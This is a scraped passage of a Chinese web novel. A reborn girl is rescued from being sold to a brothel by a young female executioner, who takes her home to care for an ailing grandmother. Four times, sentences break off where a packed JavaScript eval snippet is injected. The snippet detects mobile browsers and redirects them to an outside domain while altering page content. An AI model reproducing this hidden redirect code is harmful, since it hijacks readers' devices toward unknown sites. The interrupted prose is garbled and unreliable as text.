老鸨细细欣赏着手上抹了蔻丹的指甲，不紧不慢道：“是有几分姿色，但你看她方才那眼神，是个不服管教的，等带回去了，我还要花大力气调/教她，这些可都是要银子的。” 马桂花讨好笑道：“我们家丫头是个聪明的，学东西上手可快了，就昨天有人来说亲，给的可是十两银子，你也不能少那么多吧。” “人家给十两，你怎么不把她嫁到那户人家去？” “还不是这丫头的身世，不过你们楼里的人可不在乎什么身世，只在乎皮囊不是？”马桂花讪讪道，“她长得好，你好歹再给我多加几两。” 一旁的龟奴眼珠子骨碌碌地转，摸着下巴稀稀拉拉的胡茬道：“我们都打听过了，你这丫头是个克父克母的，而且还伶牙俐齿让人通风报信给那户人家来退婚，这样的姑娘，就算白送，也没有哪户人家肯要。如今还能卖五两，你该烧高香去咯。” 讲价是个博弈的过程，老鸨做这行当这么多年，自然深谙此道。 马桂花也不是个省油的灯，“八两，你们要是能看上，便把她带走，实在不行，就留家里当老姑娘。” 城里有两家妓院，城东给不起价，大不了再费点事找城西那家问问看就是。这死丫头是犟了些，可样貌随了她娘，长得标致，马桂花对这点还是有几分自信。 老鸨岂能不知她心中所想，嘴角一撇，正要开口，却听到一道声音从外边传进来：“八两，我要了。” 屋里几人闻言，皆是一愣，转头望向门口。 只见来人身着一袭黑苎麻交领长衫，外披蓝色褂子，头上红带子还没来得及解下来，被汗水打湿黏在脸边。 可能是跑得急，鞋子裂开一个大口子，露出大半个脚掌。 白皙的脸庞因为剧烈跑动，晕出一抹潮红。 那老鸨见这姿色，眼中闪过一抹惊艳。 一旁的龟奴跟她数年，怎么不知道她心里想的是什么，忙躬身凑近，低声耳语两句。 这几日秋后问斩的名单已经批复下来，连日来都在菜市口行刑，以儆效尤。楼里人闲着没事就跑出去看热闹，刚刚江怀贞一出现他便一眼认出她刽子手的身份。 只是她上刑场时皆是男子装扮，且从未听闻有女子为刽子手，故而这点并未令人起疑。 老鸨听了龟奴之辞，眼中满是惋惜。 马桂花看清来人是谁，骂道：“去去去，一身煞气，别脏了我家门槛。” 江怀贞站在门口，冷声道：“你不是要卖侄女吗？八两银子，我买了，人在哪？” 听到“卖侄女”这三个字，马桂花一张脸拉了下来，做事一回事，但说出来了，大家脸上都不好看。 一旁蹲着的林满仓更是抱头不语。 而身后赶来看热闹的一群村民也听到了江怀贞的那句话，顿时交头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111369|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接耳，议论纷纷。 “原来是老刽子手江贵的儿子，能给衙门办事的都是大爷，更别说这砍头的了，更是了不起。”老鸨此时已经消化完龟奴的话，起身扭着腰肢走向门口，伸手欲抚过江怀贞的肩头，却被她手里的大砍刀刀背给抵开。 “不过嘛，凡事都得讲个先来后到。”老鸨咯咯一笑，眼神在江怀贞的一张俏脸上留恋片刻，才转头对身后的另外一个龟奴斥道：“还不快去瞧瞧人在哪儿？上个茅厕这么久，别让人给跑了。” 言罢，又转身冲身后的丫鬟抬了抬下巴：“数八两银子给她。” 话音刚落，门口人群中挤出一个男孩子的身影，“要卖我，经过我同意了吗？” 细看竟是穿了林果衣服的林霜。 她原本将林果骗到茅厕，再出其不意将他敲晕，换上他的衣服准备逃走，在听到江怀贞的声音后，又折返回来。 马桂花见她这一身，瞬间额头突突直跳，一个不注意，就差点让这小丫头给跑了，她要是真跑了，自己该如何收场？ “你这死丫头，你对果儿做了什么？” 林霜看她：“你都能卖了我，我难道还不能对你儿子做点什么？” “贱丫头，要是果儿有个好歹，我定要你的命！” 村民们见状，纷纷摇头叹息：“自己的儿子是心头肉，小叔子的女儿却如草芥，林老二若在九泉之下得知大哥大嫂要将侄女卖入烟花之地，怕是死不瞑目啊。” “吃相太难看了，昨天还改生辰八字要送去冲喜，没得逞，转头又来这出，啧啧啧……” 林满仓听到这话，臊得满面通红，起身推搡着众人道：“家里私事，大伙儿还是各回各家吧。” “什么家事，你卖女儿给妓院，我们全村都跟着丢脸！呸呸呸。” “村正来了——村正来了——” 村民们自动让开一条道路，村正皱着眉头挤进来。 老鸨见状，脸色愈发不耐烦，冲着马桂花呵斥：“到底还卖不卖？昨夜一夜未眠，今晨被你们的人搅醒，现在又闹这一出，是想拿我们迎春楼当猴耍吗？” 马桂花瞬间脸色一白，妓院名声不好，可背后却是有权有势的，万一这生意砸了，回头他们派人来为难那可怎么办。 她咬咬牙，硬着头皮道：“卖！说好八两，拿了银子就带走——” 话音未落，“咚”的一声巨响从旁边传了来，吓得众人一个激灵。 只见三指厚的门板被硬生生地从中间劈了一刀，摔在地上，发出刺耳的“哐啷”声。 尘土飞扬中，江怀贞立在那儿，鬼头刀刀柄的红色刀袍还沾着斑斑血迹，看上去触目惊心。 村正见状，忙问道：“这又是怎么回事？” 江怀贞道：“八两银子，我买她。” 说完，将怀中的银子掏出来，丢到林满仓的脚下。转头走到林霜身边，一把握住她的手腕，牵着她挤出人群去。 众人目瞪口呆。 林霜感受着那一截手腕上对方冰冷的掌心，再看着她脚下几乎要跑掉的鞋底，心底瞬间如岩浆崩发，烫得不行。 她加快脚步跟上对方。 不想才走了几步，江怀贞又停了下来，林霜来不及站稳，额头撞到她肩背上。 江怀贞眼睛扫过她的额头，转过头看向村正道：“麻烦村正叔得空去衙门跑一趟，把她的户籍入到我家，明年人头税，她那一份，我江家来交。” 这年头，难民涌入昌平县，投靠入户之事屡见不鲜，上户籍并不难。 江怀贞说完，手腕微微用力，拉着林霜，向西山谷的方向走去。 5. 到了江家 约莫走了半里地，转过路口的大树后，江怀贞才松开林霜的手腕。 她踌躇了一下问道：“你还有其他地方可去吗？” 这些年来，别说有人要去她们家，就连山谷都没人敢靠近。 前夜一股热血上头想要救她，也不知道人家愿不愿意跟自己走。如今当真把人给带出来了，又犹豫着，自己这样的身份，旁人避如蛇蝎，对方是否会嫌弃？可否愿意跟自己回家？ “我无父无母，也没有家，我没有地方可去了。”林霜回道，看起来可怜兮兮的。 “你……要去我家吗？” “你不愿意我去你家吗？”林霜当然知道她是愿意的，否则上一世也不会将自己从坟地里背回家。 “你不嫌弃我是个刽子手？” 林霜道：“你不过是奉命行刑，杀的都是朝廷审判有罪的人，我又怎么会嫌弃你。” 这还是第一次有人跟她说这样的话，江怀贞眼神微微闪了一下：“虽是这么说，可手上到底沾了人血……” 村里人都不愿意跟她们家往来，往前提起她爹的名字可止小儿夜啼，从今往后，止夜啼的人恐怕就是她了。 林霜道：“你刚刚和村正说了，把我登记在你们家的户籍上，往后我便是你家的人了，难道你真忍心赶我走？” “没有，”江怀贞摇头，“走吧。” 说完率先走在前头。 林霜看着她高挑的背影，嘴角微微勾了勾，跟了上去。 走了不到一刻钟就到西山谷附近，坳口开口很大，只是常年没有人活动，四周长满了野草树木，仅留有一条小径进出。 不过远远能看到有几间屋子坐落在山脚下。 “你祖婆身体怎么样了？” 几天前江老太病重，江怀贞将她背去城里治病，回来后去了村正家借钱，这事早就在村里传开了。 “不太好，这几日一直卧床。”江怀贞如实回答，带着她往山脚下去。 “那往后你放心去当差，我在家可以看护她。” 江怀贞脚步顿了一下。 “如此多谢了。” 她这几日在家里和衙门之间来回奔波，心里唯一担心的就是家里的老太太。 江老太是个怪脾气的，明明都下不来床了，偏偏又爱干净得要命，都到这个地步了还打死不让江怀贞放夜壶放屋里，只要还有一口气在，解决问题就必须得去茅厕。 江怀贞在家倒还好，不在家她就拄着拐杖扶着墙自己挪去。 这几日江怀贞都是每天早早起来煮好两顿饭端到床边，这样要是中午赶不及回来，也不至于把人给饿坏。只是眼下天冷，老人家又生病，一口热汤没喝着，还吃的冷饭，身体如何能好得起来。 这还算小事，最怕的是万一她不在家，老太太突然发病或是强撑着下床摔倒了，那该如何是好。 见她道谢，林霜道：“你帮我解决家里的事，又收留我，我还不知道怎么报答你呢，能为你祖婆尽一点微薄之力，我也能安心一些。” “那银子是你的，我不过是过去在门上砍了一刀，举手之劳，不需要报答。” 林霜笑笑，没有和对方争什么。江怀贞对她的恩情，还有上一世最后那段相依为命的日子，就凭那些，她心甘情愿对她好一辈子，更何况，她还怀着赎罪的心思。 两人很快就走到家门口，路过那间小柴房时，江怀贞冲她道：“你先进屋去，我把工具放这儿，处理一下就过去。” 柴房里残留着一丝檀香的味道，林霜大概知道是做什么用，也没有过分追问，点点头往门口走去。 一进屋子，熟悉的家具熟悉的布置，一切都那么亲切。 她仿佛看到了前世江怀贞抱着自己进出这些房间的情景。 “咳咳咳——” 几声咳嗽声传进耳朵，她忙将涌到鼻尖突然涌起的一股酸涩感压下去，穿过堂屋，走进左边的屋子。 屋内弥漫着一股浓郁的药味，却整洁有序。 床上躺着一个干瘪的六十多岁老太太，背对着门口。 林霜此前没见过江老太，上一世被江怀贞带回来后，老太太已经去了。 她眼睛扫过床边桌子上的碗碗碟碟，饭没动，药也没喝。 看样子怨气不轻。 听到脚步声，老太太头也不抬，没好气道：“还知道回来？砍人头那么好玩干脆砍一辈子得了。” 林霜道：“砍人头不好玩，不过是份寻常差事罢了。” 听到陌生的声音，她费力地睁开眼，转过头来，眯缝着眼将林霜从头到脚打量了个遍，语气中带着几分戒备：“哪里来的女娃子？” 西山谷几十年没进生人了，只有村正有事的时候才赶过来，但也是远远问话，都不进屋。 “我叫林霜，林大河家老二的女儿。” “林家老二两口子不是都死了吗？你倒是命硬，胆子也不小，竟敢往这儿闯……”江老太话音未落，又是一阵剧烈的咳嗽，不得不捂住胸口，微微缓了缓。 这屋子里到处都是冷的，别提有热水了，林霜打消了要给她喂水的念头，解释道：“我大伯和大伯娘想要把我卖到妓院，江姐姐救了我，往后我就在这儿住下了，你不会赶我走吧？” 江老太天生一副刀子嘴，丈夫早早去了，这些年她守着儿子三十余年，儿子离去后，又守着孙女，病痛缠身，没怎么能出谷。即便出去了，村里人也对她避之不及，久而久之，她索性闭门不出，心中怨气横生。 如今孙女又踏上了刽子手的路，她更是气不打一处来，近日来与孙女针锋相对，专挑恶毒的话往她心窝子里戳。 这会儿突然来了个小姑娘，说往后要住在这里，她还以为自己听错了。 只是想到自己这身子无论如何都已经成了累赘，一张脸瞬间又变得阴沉沉的，看上去实在不怎么好相处。 林霜却未在意，她上辈子面对的那老妖婆比眼前这个要厉害不知道多少倍。 况且，眼前这老太太是江怀贞剩下的唯一亲人了。 于是微微一笑，语气也放缓：“往后江姐姐出去当差，我就在家照顾你，有什么你尽管跟我说。我先去给你烧点热水喝。” 说着不等老太太开口，将桌子上的碗碟收拾好，端往厨房去。 厨房里，柴火被细心地劈得长短一致，码放得整整齐齐，却显得有些冷清，没有一点人间烟火气。 就跟江怀贞的人一样， 林霜在炉灶边上找到火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111370|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石，开始生火。 锅里还有些剩饭，柜子里米也有半袋。 火烧了一会儿，从锅盖的缝隙里开始冒出一丝热气，林霜脑子里想着今晚要弄什么菜。这时江怀贞从厨房的后门进来了，手上提着一只鸡。 家里来人，又撂了祖母一天了，她也不敢在小屋子里收拾太久。 砍头的赏银要全部行刑结束后再一起结算，如今囊中羞涩，她回来没敢买什么东西，好在家里还有几只鸡和几个鸡蛋。 以前家里原本还养猪，但养了几轮，没过几个月就莫名其妙地都死了。老太太说是江贵身上的煞气太重，把猪给吓死的，从那以后，家里便再也没养过猪，平日就只养几只鸡过日子。 “要杀鸡？”林霜问道。 江怀贞嗯了一声：“奶生病了，得吃点肉补补身子。” 林霜走上前道：“你在外边累一天了，我来弄吧。” “你会吗？”江怀贞倒是不累，只是今天在外头刚砍人头，再回来面对杀生，心中难免有些不适。 林霜上辈子活了二十七年，当牛做马，什么苦活累活没做过？ 她伸手接过江怀贞手里的鸡道：“你就瞧好吧，水快开了，奶一天都没喝水了，咱们得快点。” 说着将鸡扣在旁边的竹筐下，洗了手，先从舀了一碗烧开的水，再往锅里添了两瓢清水。 江怀贞见她动作利索，也没跟自己见外，便端着热水去了老太太屋里。 江老太果然还是没给她什么好脸色，骂了她几句后问：“你把她带回来了，林满仓不来找你算账？” “不来，给了银子。”说着又解释道，“银子是她自己的，我不过是帮忙走个过场而已。” 江老太明显有些失落：“这么一个小姑娘竟然能有银子把自己摘出来，看来也不会在咱家待多久。” 祖孙二人在山谷这么多年，有时候一年都不见一次生人，如今来了个和孙女差不多年纪的小姑娘，感觉这个房子似乎多了些人气。 江怀贞没有回答这个问题，虽然来路上林霜说了不愿走，可人心都是善变的，谁知道她会待多久？ 况且自己干的这行当…… 江老太见她这模样，不耐烦地赶她道：“去去去，别在这儿烦我，去看看厨房那边怎么样了，人家初来乍到，你就做甩手掌柜什么也不干。” 江怀贞嗯了一声，转身出去。 进了厨房才发现林霜已经把鸡给杀了，正在拔毛。 动作十分麻利。 见她进来，林霜抬头问道：“时候还早，要弄晚饭了吗？” 得过一个多时辰太阳才下山。 江怀贞的肚子似乎很应景地发出了一声轻微的抗议，她抿了抿唇，有些不好意思地说：“饿了。” 真是个诚实的孩子。 林霜觉得眼前十七岁的江怀贞，比起二十八岁的江怀贞除了年轻，至少身上还没有那种带着死气的绝望感。尽管已经踏上了父亲的老路，但此刻除了脸色略显苍白外，身上还是带着几分生机。 她要守护住这份生机。 “那你快去生火煮饭吧，待会儿我烧菜，不瞒你说，我烧菜还挺好吃的。”她说道。 江怀贞应下，转身去淘米。 6. 第一顿饭 这只鸡还挺肥，今晚吃一半，剩下半扇抹盐留明天吃。 林霜很快就收拾好鸡块。 “我去菜园子看看。” 江怀贞站起身道：“我带你过去。” 江贵活着的时候，平日他出门在外当差，祖孙两人在山谷里，不光种地还种菜，只是江老太身体不好，江贵仗着自己砍一个人头能得一两银子，死活不给她们多种。 一个菜园子，另外开了两亩的荒地，这些就是江家全部的地。 自从江贵走后，家里没了进项，江怀贞原本还想多开荒种地，谁承想老太太病如山倒，她除了要看护照顾，得空了还得想办法上山打猎弄钱，开荒的事陆陆续续也只忙活了几分。 如今接了衙门的这个活，就更没时间往地里去了。 菜地里倒还种着些菜，眼看要入冬，有些菜叶开始发黄。 山谷里没有养牛羊，不用围篱笆，林霜刚出后门就望见菜地。 青菜不好跟鸡汤熬，要是能有菌菇就好。 这两日连着下雨，这里靠近山林，很容易就会长出菌菇来。 她四处张望了一下，见江怀贞没注意自己，便蹲下来，手掌按在地面。 掌心贴着湿凉的地皮，地气顺着经络漫上来。 密密麻麻的植物影像一下子涌入她的脑海，她将意识往山上的方向慢慢探出去。 但只探到了差不多一亩地的距离便没办法向前，她也没强求，就近细细搜索一番，当真让她发现了好东西，往半山腰方向的一处石头后面长了一丛三塔菌。 她收回手，转头看了一下身后的江怀贞，这人正蹲在地里剥发黄的菜叶子。 “怀贞，我去附近找找看看有没有菌子。” 江怀贞欲言又止，最后回了一声“好。” 林霜起身便朝目的地去。 果然在那块巨石后边的腐木堆里，长了一丛搭着小伞的三塔菇。 她压着心底的兴奋，在周边走了个来回才蹲下来。 土壤很松软，菌柄轻轻一拧便离了地。 枯枝叶里还藏着几簇矮脚菇，林霜留了几个小的，剩下的全摘了。 随后兴匆匆地往菜地里跑回去。 江怀贞听到脚步声，抬起头，看着她捧着的东西，明显有些惊讶：“还真有呢。” 她就从来没遇到过菌子。 “鸡肉和菌子煲汤好喝，再煮个青菜就好了。” “要煮什么青菜？”江怀贞问，她做饭不好吃，能煮得熟不焦不糊就已经是极限，江老太尤其不爱吃她做的饭。 菜园子就三四样菜，林霜道：“白菜吧。” 刚刚看了油罐，已经到底了，就不炒菜，舀点鸡汤出来把青菜煮了，也很美味。 见她有主见，江怀贞便不再作声，默默地拔了一棵大白菜，抱着发黄的菜叶，两人一前一后往家里走去。 进了厨房的林霜，如鱼得水。 两种菇洗干净，和姜一起丢进锅里和鸡汤一起熬，白菜也洗干净备用。 要不了一会儿，灶上砂锅就开始咕嘟着泛起金黄油花，剁成块的肥鸡在沸水里上上下下翻滚着，混着老姜的辛香直往人鼻子里钻。 柴火在灶膛里哔啵作响，映得江怀贞侧脸忽明忽暗。 她蹲在炉灶旁边，将摘来的黄菜叶剁碎，混着米糠拿去喂鸡。 原本养了十几只鸡，老太太这两年生病，留几只给她补身子，其余大多卖了，现在剩下的除了一只下蛋的老母鸡和两只稍微大一点的，其余的都是拳头大小的小鸡。 喂完鸡，顺带将屋后的柴火搬到厨房后边，才搬两趟，就听到山谷入口处有人喊她的名字，转头望去，是村正。 村里人要是有事来西山谷，大多是站在入口喊人，她早已见怪不怪，忙放下柴火往外走去。 等走近了，村正冲着她招了招手道：“江丫头，你说要让林丫头入你家户籍，这事可是当真？” 江怀贞点了点头：“当真。” 不管林霜以后会不会留下来，但只要她继续留在林家，林满仓是户主，照样可以再次将她发卖，就算上官府去也说不赢。 这年头想要立女户，家里没有男丁，是根本行不通，也只有江家这种原户主死了后才允许立女户。 把户籍迁过来，她想如何便如何。 村正见她点头，于是道：“行，既然你决定了，林家也收了这个钱，明日我就去衙门把这事给办了，你去把你们家文书拿给我吧。” 江怀贞道了一声好，刚往回走了两步，突然停下来转身道：“七叔，那八两银子说起来不是我的钱……欠你的那二两，我会尽快还上。” 村正摆摆手：“我能不知道那不是你的银子吗？快去吧，什么时候有再给，我不急这一时半刻。” 江怀贞回了一声好，转身往家去拿户籍文书。 村正看着她背影，忍不住叹了口气。 江贵他祖父算起来也是他族中这一支子弟，只因家里穷，出去走货，被诬陷偷了货，主家让赔钱，他一怒之下打了主家，失手把人给打死。 后边官府查出是商队领头和土匪勾结拿的货，他是无辜的，但也惹上了人命，最终以一命抵一命。 江贵的父亲也是个早死的，再后来江贵做了刽子手，村里人便跟这一家子走远了。 如今只剩下这孤零零的祖孙俩，他也不忍心就这么不管不顾。几日前江怀贞上门借钱给老太太治病，他还是不顾家里老婆子的反对，给拿了二两银子。 正想着，江怀贞已经拿着户籍走出来。 “劳烦了。” “得，回吧，我走了。” 等江怀贞回来，饭香味和鸡汤味已经弥漫了整个厨房。 见她进门，林霜道：“饭好了，你先端去给祖婆吃。” 江怀贞应了一声，过来舀饭。 半碗稠稀饭，一碗鸡肉汤和一碗青菜。 早上出门的时候，老太太被她逼着喝了一碗粥，可留的午饭她是一口都没吃。她恨自己动弹不得成了累赘，当真是存了几分想死的心思。 可终究肉身凡胎，会饿，会冷，会渴求温饱。 见江怀贞把香喷喷的饭菜端进屋里来，香气入鼻，馋虫被勾起，也忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111371|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住吞了吞口水。 “奶，吃饭了。” 江怀贞说着将托盘放到桌子上，再把老太太扶起来，靠坐在床头。 见她把饭碗端过去要喂，老太太骂道：“我这手又没废，哪用得着你喂。” 江怀贞道：“碗有些烫，我先帮你拿着。” 就在这时，林霜从外边进来，手里拿着一个小板凳，架到老太太身前道：“凳子我擦干净了，碗放上边能方便一些。” 两人才停止争执。 前世她腿断了躺在床上，又不愿当累赘事事靠江怀贞，坚持要自己吃饭，最后对方不知从哪里学到的，打了个架子，平日用餐的时候再架到床上去，很是方便。 前世今生，似乎有一件事走了个轮回。 老太太挥了挥手赶她们去吃饭。 江怀贞道：“凳子小，一不注意就打翻了，我去把饭端到这儿来一起吃。” “这屋里都是病气，做什么非要在这儿吃？”老太太瞪她。 江怀贞抿着唇不吱声。 林霜笑道：“窗子开着，什么病气也全跑出去了，再说了，平日江姐姐都是在你屋里待着，要有病气早就传了，哪里等到今天。” 江老太嘟囔：“我说不过你，想在哪儿吃就在哪儿吃吧。” 江怀贞听她的语气，心中暗暗松了一口气，连忙起身去搬桌子。 很快两碟菜和一锅米饭就端了进来，两人坐下用饭。 老太太喝了两口汤，温热甘美的鸡汤顺着喉咙淌下去，身子暖起来，两条刻薄的疏眉也不知不觉舒缓开来。 两年了，总算是吃了顿人该吃的饭。 她瞥了眼江怀贞，有人就是白长了一幅好面孔，却煮不好一顿饭，就算不去当刽子手，加上那冷冰冰的性子，也做不了贤妻。 “这菌子是哪里来的？” 林霜抬头望向老太太道：“菌子是菜园子后边摘的。” 得了答案，江老太实在忍不住又来了一句：“好歹是不用吃猪食了。” 江怀贞听了这句话，面色发窘。她知道自己煮饭是真不行，祖婆宁愿绝食，说不定也是有一部分是因为这个。 她低头喝了口鸡汤，果真鲜美得很。 鸡肉也炖得恰到好处，轻轻一啃，鲜美弹牙的肉质便落入口中，细嚼两下油脂混着肉香满嘴，着实美味。 就连昔日里寡淡无味的大白菜，浸在鸡汤里，吃起来竟有一种香甜可口的味道。 林霜看着眼前被自家祖母埋汰得面红耳赤的少女，眉毛弯了弯，“奶觉得好吃，往后我天天做饭给你们吃。” 江老太斜眼看着一旁的江怀贞，哼哼两声，未置可否。 如今孙女偏偏找了这么个砍头的活儿，她也不敢奢望她能嫁人，可要是能有个人陪这块木头说说话，嘘寒问暖的。这样就算她死了，到了地底下，也好跟儿子有个交代。 林霜见她没有回答，忙追一句道：“奶你可别赶我走。” 江老太嘴里咕哝：“我啥时候说要赶你走了？你想留到几时就留几时呗。” 江怀贞埋头扒着饭，吃得欢。 7. 穿你衣服 林霜的厨艺并非天生就有。 上一世她被送去秦家冲喜，秦冲还没死，躺在床上苟延残喘了一个多月人才没了。林霜以一个续弦的身份入门，虽然不是少奶奶的规格，但也算是半个主子。 她性子宽厚，又是贫苦人家出身，深得屋里下人的喜欢。 其中一位厨娘是北方逃亡过来的流民，后来卖身秦家，林霜就是在那段时间跟她学了不少的东西。 然而那段时间在外人看来的安逸，其实夹杂不为外人所道的提心吊胆。 她不用近身服侍秦冲，可也每日都去一趟他屋里坐一坐。看着男人那满脸的死气，她觉得他时日无多了。 只是他死了，自己该如何自处，当时的林霜不知道。 吃完晚饭，江怀贞去把碗给洗了，随后找了几根木头坐在大门口，叮叮当当开始敲起来。 林霜把热药的活儿揽下，端去给老太太喝后，搬了条板凳坐到她身边问：“这个是做什么的？” “做个架子，再装个板子在上面，架在奶床上方便她吃饭。” 今天那条小凳子是挺方便的，就是小了点，而且不稳，稍微一动汤就撒了。 林霜右手放在膝盖上支着下巴道：“你手真巧。” 江怀贞胳膊仍在用力，继续锯木头。 “眼下已经是深秋了，往后入了冬，奶身子受不了冷，你有没有想过在她屋里弄个炕？” 昌平县地处南北中段地区，冬天最冷的时候也会下雪，不过只是薄薄一层。但湿冷和干冷交替循环，最让人受不了。 尤其是重病的老人。 听到这话，江怀贞停下手中的动作，直起身子看着她：“炕？那是什么东西？” “就是一张砖头砌的土床，稍微烧点儿火就能暖上一整晚那种，听说北方有这种东西。”林霜解释道。 “你会做吗？” “会。”林霜也懒得跟她绕弯子，眼前这人从来就不是个打破砂锅问到底的人。 火炕在北方并不是什么稀奇的东西，不过昌平县地处中原偏南部地区，火炕比较少见。秦家那位北方来的厨娘，林霜私下与她交好，从她那儿学了不少东西，包括做饭的面食，还有这火炕。 果然江怀贞并没有问她如何知道这些，只是带着几分期许地看向她：“你跟我说说，等过几日我得空了，就造一个。” 林霜便将火炕的构造原理和材料与她细说一遍。 江怀贞听她说完，很快就将这个东西领悟，眼睛难得地带着几分透亮：“果真是个好东西。” 天很快就黑下来。 煮完饭时候炉子里放了根大木头，锅里一直有热水，江怀贞提着水去给老太太擦洗。 天气开始变凉，老人家一点也不愿受冷，稍微清理一下就把她骂走。 江怀贞想着方才林霜说的烧炕，心里又热乎起来。 轮到两人的时候，江怀贞是要洗澡的，她今日上了刑场行刑，虽然犯人的血没有溅到身上，可她心里觉得污秽，要大洗一遍才觉得舒畅。 等她洗完出来，看着坐在火炉边上的林霜问道：“要不先拿奶的衣服将就一下……” 等领了赏银，到时候再给她做新衣服。 林霜看她：“我不能穿你的吗？” 江怀贞迟疑道：“……你不介意吗？” 介意她是个刽子手，介意她身上的煞气。 “我有什么好介意的？还是你不愿让我穿你的衣服？” 白日进山谷的时候，对方怕自己嫌弃她父女俩刽子手住过的山谷，这会儿又担心自己介意穿她的衣服。 江怀贞似乎比想象中的，要更在意别人对她这层身份的看法。 近乎小心翼翼。 只是这份小心翼翼埋藏在她冷漠的外表之下，不为外人所知。 只有自己走近了，才能感受得到。 林霜不由得一阵心酸。 江怀贞并不知她心里的想法，只是见她如此反问，回道：“你若是想穿，柜子里的衣服，除了下边一格是我穿出去当差的，其他的，你想穿哪件就穿哪件。” 说着领着林霜回房间，将墙边的柜子打开。 江贵还当差的时候，虽说一个人头一两银，但一个县一年要砍的头也没有多少个，挣的钱是比普通乡下人多一些，但也不过刚好管得一家人的温饱。 加上他好酒，偶尔还去耍牌，身上的钱是一点不剩，是以他一去世，老太太突然生了一场大病，江家就一下子穷得揭不开锅。 但他还活着的时候，却很舍得给江怀贞买衣服。 只可惜他死的那年江怀贞才十五岁，个头也是这两年一下子突然蹿高，之前的衣服都短了好些。 “我现在长个儿了，这些你穿应该合适。”她看着眼前矮了自己半个头的姑娘道。 林霜对身高差无所谓，江怀贞这种身高都赶上男人的了，自己从小就没养好身子，想追也追不上。 “这么多衣服可以穿好久。”她笑眯眯道。 她在林家就两套换洗的衣服，破破烂烂的，天冷也不过在外头多披一件，硬扛着。瞧江怀贞的柜子里，还有袄子呢。 “不过得空还是得再回林家一趟。” “还回去做什么？” “我给你纳了一双鞋底，得拿回来。” “你……什么时候给我纳的鞋底？”江怀贞有些诧异，她们两有交集也不过这两天。 说着，脚上那双开了个大口子的布鞋也忍不住往后挪了挪。心想着眼前这人一定是看到自己的鞋子开口了，才非要回去拿鞋底不可。 林霜道：“你管我什么时候纳，反正是给你穿的。” 江怀贞想了想，道了一声好。 林霜这才翻了身衣服去洗漱。 等她出来的时候，江怀贞已经铺好床。 一张床，只有一番被子。 江贵之前的那番，他死的时候一起埋到棺椁里，这番还是之前从老太太屋里搬过来的。 此时外边天已经漆黑，江怀贞道：“你睡里边，我睡外边。” 她半夜要起来去隔壁看老太太，睡里边不方便。 父亲去世之前，江怀贞都是和老太太一屋。他去世后，老太太生病了，她也没挪窝，方便照顾。 直到这几日去行刑，怕身上的煞气冲撞了老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111372|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家，就不敢再过去。 其实还有另外一个原因，这几日她头一回杀人，睡觉很不安稳，翻来覆去，也怕扰了老太太安眠。 熄灯之前，她先去老太太屋里，看着那边安歇后方才回来。 林霜枕在枕头上，侧着身子柔柔看着她。 她刚刚闻到了艾草的香味，发现江怀贞把自己送的香囊放在枕头下，心里觉得开心。 见她熄灯躺下，便挨过来，像只猫咪一般依偎在她身边。 江怀贞当时被江贵捡到的时候，整个人冻得差点死掉，那时便伤了根本，后来双手常年冰冷。往年和江老太睡一床，怕冻着老人家，都是各盖一番被子。 如今被一个香软的身子靠近，微微地有些不自在，除了有些不自觉的小心，但更多的是异样的新奇。 少女身上的清香自然不同于长辈的味道，黑暗中她闭上眼睛，任由清新的香味萦绕鼻尖。 …… 虽然江怀贞一直都在告诉自己，白日里砍的那些人头，不过是依法行刑。可毕竟年少，心智才刚刚成熟，再加上幼时心魔，多少还是让她惊惶不安，总觉得黑暗里有人在窥视她，诅咒她。 这几天几乎没睡过一个安稳觉。 这会儿身边多了个人，温暖、香软，带着甜甜的气息，仿佛形成一个巨大的光圈，将那些黑暗中的鬼魅通通赶跑，把她罩在里面。 白日里积攒的疲惫如浪潮一般，瞬间将她淹没，她挨着枕头，眼皮子才刚盖上，就这么睡了过去。 睡到半夜，或是心有所想，白日行刑时女犯人那狰狞漂亮的面孔，和昔日母亲的容貌重合在一起，突然化成厉鬼的模样，扑向了她。 她一个激灵，猛地睁开了眼睛。 身子冰冷紧绷，无法动弹。 